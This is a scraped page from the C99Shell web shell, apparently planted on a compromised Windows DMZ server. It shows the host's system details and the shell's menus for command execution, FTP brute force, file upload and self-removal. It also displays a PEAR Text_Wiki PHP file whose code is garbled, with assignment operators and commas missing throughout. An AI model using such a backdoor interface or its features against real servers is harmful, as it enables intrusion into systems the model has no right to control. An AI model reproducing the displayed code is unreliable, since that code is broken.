!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\Text\Wiki\Render\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.44%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Xhtml.php (2.73 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4:
/**
 * Format class for the Xhtml rendering
 *
 * PHP versions 4 and 5
 *
 * @category   Text
 * @package    Text_Wiki
 * @author     Paul M. Jones <pmjones@php.net>
 * @license    http://www.gnu.org/copyleft/lesser.html  LGPL License 2.1
 * @version    CVS: $Id: Xhtml.php 206939 2006-02-10 22:31:50Z toggg $
 * @link       http://pear.php.net/package/Text_Wiki
 */

/**
 * Format class for the Xhtml rendering
 *
 * @category   Text
 * @package    Text_Wiki
 * @author     Paul M. Jones <pmjones@php.net>
 * @license    http://www.gnu.org/copyleft/lesser.html  LGPL License 2.1
 * @version    Release: @package_version@
 * @link       http://pear.php.net/package/Text_Wiki
 */
class Text_Wiki_Render_Xhtml extends Text_Wiki_Render {

    var 
$conf = array(
        
'translate' => HTML_ENTITIES,
        
'quotes'    => ENT_COMPAT,
        
'charset'   => 'ISO-8859-1'
    
);

    function 
pre()
    {
        
$this->wiki->source $this->textEncode($this->wiki->source);
    }

    function 
post()
    {
        return;
    }


    
/**
    * Method to render text
    *
    * @access public
    * @param string $text the text to render
    * @return rendered text
    *
    */

    
function textEncode($text)
    {
        
// attempt to translate HTML entities in the source.
        // get the config options.
        
$type $this->getConf('translate'HTML_ENTITIES);
        
$quotes $this->getConf('quotes'ENT_COMPAT);
        
$charset $this->getConf('charset''ISO-8859-1');

        
// have to check null and false because HTML_ENTITIES is a zero
        
if ($type === HTML_ENTITIES) {

            
// keep a copy of the translated version of the delimiter
            // so we can convert it back.
            
$new_delim htmlentities($this->wiki->delim$quotes$charset);

            
// convert the entities.  we silence the call here so that
            // errors about charsets don't pop up, per counsel from
            // Jan at Horde.  (http://pear.php.net/bugs/bug.php?id=4474)
            
$text = @htmlentities(
                
$text,
                
$quotes,
                
$charset
            
);

            
// re-convert the delimiter
            
$text str_replace(
                
$new_delim$this->wiki->delim$text
            
);

        } elseif (
$type === HTML_SPECIALCHARS) {

            
// keep a copy of the translated version of the delimiter
            // so we can convert it back.
            
$new_delim htmlspecialchars($this->wiki->delim$quotes,
                
$charset);

            
// convert the entities.  we silence the call here so that
            // errors about charsets don't pop up, per counsel from
            // Jan at Horde.  (http://pear.php.net/bugs/bug.php?id=4474)
            
$text = @htmlspecialchars(
                
$text,
                
$quotes,
                
$charset
            
);

            
// re-convert the delimiter
            
$text str_replace(
                
$new_delim$this->wiki->delim$text
            
);
        }
        return 
$text;
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--